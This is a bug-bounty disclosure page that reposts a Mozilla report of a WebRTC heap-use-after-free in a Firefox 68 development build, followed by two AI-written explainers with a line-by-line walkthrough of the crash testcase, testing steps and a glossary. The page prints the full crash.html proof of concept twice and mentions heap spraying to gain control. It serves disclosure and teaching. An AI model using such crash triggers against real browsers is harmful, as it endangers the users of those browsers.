Skip to content
Memory corruption Disclosed report Advanced

heap-use-after-free and assertion with RTCPeerConnection

A heap-use-after-free and an assertion failure occur in Firefox's WebRTC code when a testcase manipulates RTCPeerConnection and triggers garbage collection. An attacker could potentially crash the browser, but the report does not demonstrate remote code execution.

Nils Follow

Originally disclosed on Mozilla

  • Fixed in 22 days
  • Paid in 5 months
  • Disclosed after 22 days
Text
Created attachment 9065028
asan_uaf.txt

The following testcase crashes the latest ASAN build of Firefox 68.0a1.

Before minimising the testcase triggered a heap-use-after-free (see attached asan_uaf.txt after minimising it trigger the following assertion (see asan_assert.txt):

Assertion failure: !mMainThread, at /builds/worker/workspace/build/src/media/webrtc/signaling/src/peerconnection/PeerConnectionMedia.cpp:119

crash.html:
<script>
function start() {
    FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
    o5=document.createElement('canvas');
    o15=document.documentElement;
    o79=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
    o15.appendChild(o79);
    o136=o79.contentWindow;
    o182=new Blob([], {'type': 'audio/mp3'});
    o207=new FileReader();
    o207.onload=fun0;
    o207.readAsBinaryString(o182);
    o383=o5.mozGetAsFile('undefined','image/jpeg');
}
function fun0() {
    o544=o207.readAsDataURL(o383);
    document.write('<html><body><div></div><div></div></body></html>');
    o207.onload=fun1;
}
function fun1() {
    o136.eval("new RTCPeerConnection();");
    location.reload();
}
</script>
<body onload="start()"></body>

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 4 min read.

What the report shows

This is a Mozilla crash report against the WebRTC component of Firefox 68.0a1, filed by Nils and rated high severity for a use-after-free. The report is a fuzzing find: the researcher produced a testcase that crashed the latest ASAN build of Firefox 68.0a1.

The behaviour changed during triage. Before minimisation the testcase triggered a heap-use-after-free, captured in an attachment named asan_uaf.txt. After minimisation it instead triggered an assertion, captured in asan_assert.txt:

Text
Assertion failure: !mMainThread, at /builds/worker/workspace/build/src/media/webrtc/signaling/src/peerconnection/PeerConnectionMedia.cpp:119

The minimised testcase is a single HTML file, crash.html, which drives the browser through a chain of DOM and WebRTC operations:

HTML
<script>
function start() {
    FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
    o5=document.createElement('canvas');
    o15=document.documentElement;
    o79=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
    o15.appendChild(o79);
    o136=o79.contentWindow;
    o182=new Blob([], {'type': 'audio/mp3'});
    o207=new FileReader();
    o207.onload=fun0;
    o207.readAsBinaryString(o182);
    o383=o5.mozGetAsFile('undefined','image/jpeg');
}
function fun0() {
    o544=o207.readAsDataURL(o383);
    document.write('<html><body><div></div><div></div></body></html>');
    o207.onload=fun1;
}
function fun1() {
    o136.eval("new RTCPeerConnection();");
    location.reload();
}
</script>
<body onload="start()"></body>

The sequence is: force garbage and cycle collection, create a canvas and an iframe, build an empty audio/mp3 Blob and read it as a binary string, and obtain a file from the canvas with mozGetAsFile. In the first onload handler the file is read as a data URL, the document is rewritten with document.write, and the handler is swapped to a second function. That second function evaluates new RTCPeerConnection(); inside the iframe's window and then reloads the page.

The report gives no bounty amount, no CVSS score and no fix commit. It records the crash and the assertion only.

Root cause

The assertion points at PeerConnectionMedia.cpp:119, in the WebRTC signalling layer, where a member named mMainThread is expected to be null. The failing check is !mMainThread. The report does not explain what leaves it set.

The report does not state the underlying cause. The testcase creates an RTCPeerConnection inside an iframe and then reloads the page. The earlier heap-use-after-free shows an object being freed while something still referenced it.

Impact

A use-after-free in the browser's WebRTC code is memory-safety corruption reachable from web content. The report itself only demonstrates a crash: the ASAN build aborts, and the minimised testcase hits an assertion.

How this kind of bug works

A use-after-free happens when an object is freed while another part of the program still holds a pointer to it. If that stale pointer is later dereferenced, the program reads or writes memory that may already have been reallocated for something else. In a browser this is serious because the attacker controls the allocation patterns: JavaScript can spray objects of a chosen size to occupy the freed slot with attacker-influenced data, turning a crash into a controlled call or write.

WebRTC is prone to this because a peer connection spans several threads and several owners: the JS wrapper, the signalling layer, the media engine and the network thread. Teardown is asynchronous, so a window closing, a document being rewritten or a page reloading can race against callbacks that still reference the connection. Reference counting and cycle collection add another layer: an object kept alive by a cycle, or freed by a cycle collector while a raw pointer survives, produces exactly this class of bug. Defences are ownership discipline (smart pointers, weak references for observers), explicit cancellation of pending callbacks on teardown, and memory tooling such as ASAN in CI to catch the first bad access.

How to test for it

  1. Identify features that create long-lived objects tied to a window or document: peer connections, media streams, workers, sockets, observers.
  2. Build a page that creates the object and then destroys its context: navigate away, reload, rewrite the document, remove the iframe, or close the window, while callbacks are still pending.
  3. Interleave garbage and cycle collection between creation and teardown to expose objects held only by cycles.
  4. Repeat with different orderings and timings; races often need the teardown to land between two asynchronous steps.
  5. Run against an ASAN or debug build where possible, and watch the console for assertion failures as well as crashes.

A positive result is a reproducible crash, an ASAN report naming a freed allocation, or an assertion in teardown code. Common false positives are crashes caused by the test harness itself, out-of-memory conditions from runaway allocation, and crashes that only occur in a build with debugging assertions and never in release. Confirm reproducibility and capture the stack before reporting.

How it is fixed

The report gives no fix. Fixes for this class usually clear the stale reference at the right point in teardown, cancel pending callbacks when the owning window goes away, and switch raw pointers to reference-counted or weak references. Where a cycle collector is involved, the fix may adjust how the object participates in cycle collection so it cannot be freed while still referenced.

Hunting notes

Lifetime bugs cluster around asynchronous teardown: page reload during media setup, iframe removal while a connection is negotiating, and document rewriting while callbacks are queued. Fuzzing harnesses that expose garbage and cycle collection, as this testcase does, are effective at surfacing them. Recon signals include code paths that mix raw pointers with reference counting, and components with known threading complexity such as WebRTC, media capture and workers. A crash alone is usually enough for a memory-safety rating, but demonstrating influence over the freed allocation strengthens the case.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 8 min read.

What happened, in plain words

This is a crash report filed against Mozilla Firefox, in the WebRTC part of the browser. The researcher, Nils, found it by fuzzing: running a program that throws large numbers of generated inputs at the browser and watches for anything that breaks. The build under test was Firefox 68.0a1, a development version, compiled with ASAN, a tool that watches memory very closely and shouts as soon as the program touches memory it should not.

Two things went wrong, at different moments. Before the testcase was minimised (trimmed down to the smallest input that still reproduces the problem), it caused a heap-use-after-free. That means the browser freed a piece of memory and then something kept using it, like throwing away a key and later trying to open the lock with it. The details were saved in an attachment called asan_uaf.txt. After minimisation, the same testcase instead stopped on an assertion, a check written into the code that says "this must never be true here". The assertion was:

Text
Assertion failure: !mMainThread, at /builds/worker/workspace/build/src/media/webrtc/signaling/src/peerconnection/PeerConnectionMedia.cpp:119

Read it as: at line 119 of a file in the WebRTC signalling code, a check on a value called mMainThread failed. The report gives no bounty amount, no CVSS score and no fix commit.

The testcase, line by line

The minimised testcase is one HTML page, crash.html. Opening it in the affected build is enough to trigger the problem.

HTML
<script>
function start() {
    FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
    o5=document.createElement('canvas');
    o15=document.documentElement;
    o79=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
    o15.appendChild(o79);
    o136=o79.contentWindow;
    o182=new Blob([], {'type': 'audio/mp3'});
    o207=new FileReader();
    o207.onload=fun0;
    o207.readAsBinaryString(o182);
    o383=o5.mozGetAsFile('undefined','image/jpeg');
}
function fun0() {
    o544=o207.readAsDataURL(o383);
    document.write('<html><body><div></div><div></div></body></html>');
    o207.onload=fun1;
}
function fun1() {
    o136.eval("new RTCPeerConnection();");
    location.reload();
}
</script>
<body onload="start()"></body>
  1. FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect(); asks the browser to clean up unused memory twice: once for ordinary objects, once for objects that only keep each other alive in a loop. Doing this first matters because it changes which objects are still around later, and lifetime bugs often hide behind objects that were only kept alive by such loops.
  2. o5=document.createElement('canvas'); creates a canvas, the drawing surface a page can use to produce images.
  3. o15=document.documentElement; grabs the root element of the page.
  4. o79=document.createElementNS('http://www.w3.org/1999/xhtml','iframe'); creates an iframe, a page inside the page, with its own separate window.
  5. o15.appendChild(o79); puts the iframe into the page so it actually exists and runs.
  6. o136=o79.contentWindow; keeps a handle on the iframe's window for later use.
  7. o182=new Blob([], {'type': 'audio/mp3'}); builds an empty blob, a chunk of binary data, labelled as an MP3 audio file.
  8. o207=new FileReader(); creates a reader, an object whose job is to read data asynchronously, that is, in the background, and call you back when done.
  9. o207.onload=fun0; says: when the read finishes, run fun0.
  10. o207.readAsBinaryString(o182); starts reading the blob as a binary string.
  11. o383=o5.mozGetAsFile('undefined','image/jpeg'); turns the canvas into a file object, a Firefox-specific method. This is the last step of start.

When the read finishes, fun0 runs:

  1. o544=o207.readAsDataURL(o383); starts a second, different read of the canvas file, as a data URL (the file's contents encoded into a long text string).
  2. document.write('<html><body><div></div><div></div></body></html>'); throws away the current page content and writes a fresh, tiny document in its place. This is the destructive step: everything the page built so far, including the iframe, is being torn down while background work is still pending.
  3. o207.onload=fun1; swaps the callback so the next finished read runs fun1 instead.

Then fun1 runs:

  1. o136.eval("new RTCPeerConnection();"); runs code inside the iframe's window that creates an RTCPeerConnection, the object a page uses to set up a direct audio, video or data link with another browser.
  2. location.reload(); immediately reloads the whole page.

So a peer connection is created and the page is then reloaded.

Why it matters

The assertion sits in the WebRTC signalling layer, the part that negotiates a connection. The code there expected mMainThread to be cleared. The earlier use-after-free shows an object freed while something still pointed at it. The report does not name the exact pointer or the fix, so the precise ordering that leaves mMainThread set is not stated.

A use-after-free in a browser is a memory-safety problem reachable from ordinary web content. This report only demonstrates a crash: the ASAN build aborts and the minimised testcase hits the assertion. It does not show an attacker taking control of the freed memory or running code.

In general, how this kind of bug works

A use-after-free happens when a program frees an object and another part of the program still holds a pointer to it. If that stale pointer is used later, the program reads or writes memory that may already have been handed to something else. In a browser this is serious because the attacker influences what fills the gap: JavaScript can create many objects of a chosen size so that one lands in the freed slot with chosen contents, which can turn a crash into a controlled action.

WebRTC is prone to this because a peer connection spans several threads and several owners: the JavaScript wrapper, the signalling layer, the media engine and the network thread. Shutdown is asynchronous, so a window closing, a document being rewritten or a page reloading can race against callbacks that still reference the connection. Reference counting (each owner holds a count, and the object dies at zero) and cycle collection (finding objects that only keep each other alive) add another layer: an object kept alive by a loop, or freed by the cycle collector while a raw pointer survives, produces exactly this class of bug. The usual defences are strict ownership rules, weak references for observers, cancelling pending callbacks on shutdown, and memory tooling such as ASAN in continuous testing to catch the first bad access.

In general, how to test for it

  1. Find features that create long-lived objects tied to a window or document: peer connections, media streams, workers, sockets, observers.
  2. Build a page that creates the object and then destroys its context: navigate away, reload, rewrite the document, remove the iframe, or close the window, while callbacks are still pending.
  3. Interleave garbage and cycle collection between creation and shutdown to expose objects held only by loops.
  4. Repeat with different orderings and timings; races often need the shutdown to land between two asynchronous steps.
  5. Run against an ASAN or debug build where possible, and watch the console for assertion failures as well as crashes.

A positive result is a reproducible crash, an ASAN report naming a freed allocation, or an assertion in shutdown code. Common false positives are crashes caused by the test harness itself, out-of-memory conditions from runaway allocation, and crashes that only occur in a build with debugging assertions and never in release. Confirm reproducibility and capture the stack before reporting.

In general, how it is fixed

The report gives no fix. Fixes for this class usually clear the stale reference at the right point in shutdown, cancel pending callbacks when the owning window goes away, and replace raw pointers with reference-counted or weak references. Where a cycle collector is involved, the fix may change how the object takes part in cycle collection so it cannot be freed while still referenced.

Glossary

  • ASAN: AddressSanitizer, a tool built into a special build of a program that detects invalid memory access, such as using memory after it was freed.
  • Assertion: a check in code that stops the program when a condition the developers believed impossible turns out to be true.
  • Blob: a chunk of binary data in a web page, optionally labelled with a type such as audio/mp3.
  • Canvas: an HTML element that provides a drawing surface and can produce images.
  • Callback: a function you hand to another operation, to be run when that operation finishes.
  • CVSS: a standard scoring system for the severity of a security flaw.
  • Cycle collection: the process of finding and freeing groups of objects that only keep each other alive.
  • Data URL: a way of embedding a file's contents directly in a text string.
  • DOM: the tree of elements that makes up a web page, which scripts can read and change.
  • FileReader: a browser object that reads files or blobs in the background and reports back when done.
  • Fuzzing: automatically feeding a program large numbers of generated inputs to find crashes.
  • Garbage collection: automatic freeing of memory that is no longer reachable.
  • Heap-use-after-free: using memory after it has been freed, one form of use-after-free.
  • HTML: the language web pages are written in.
  • Iframe: a page embedded inside another page, with its own separate window.
  • JavaScript: the programming language that runs in web pages.
  • Minimisation: shrinking a crashing input to the smallest version that still crashes.
  • Peer connection: the WebRTC object that sets up a direct audio, video or data link between two browsers.
  • Pointer: a value that refers to a location in memory.
  • Race condition: a bug that depends on the timing of two things happening at once.
  • Reference counting: tracking how many owners an object has and freeing it when the count reaches zero.
  • RTCPeerConnection: the JavaScript interface for a WebRTC peer connection.
  • Thread: one line of execution inside a program; several can run at the same time.
  • Use-after-free: a bug where memory is freed and then still used.
  • WebRTC: the browser technology for real-time audio, video and data links between peers.
  • Weak reference: a pointer that does not keep an object alive.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.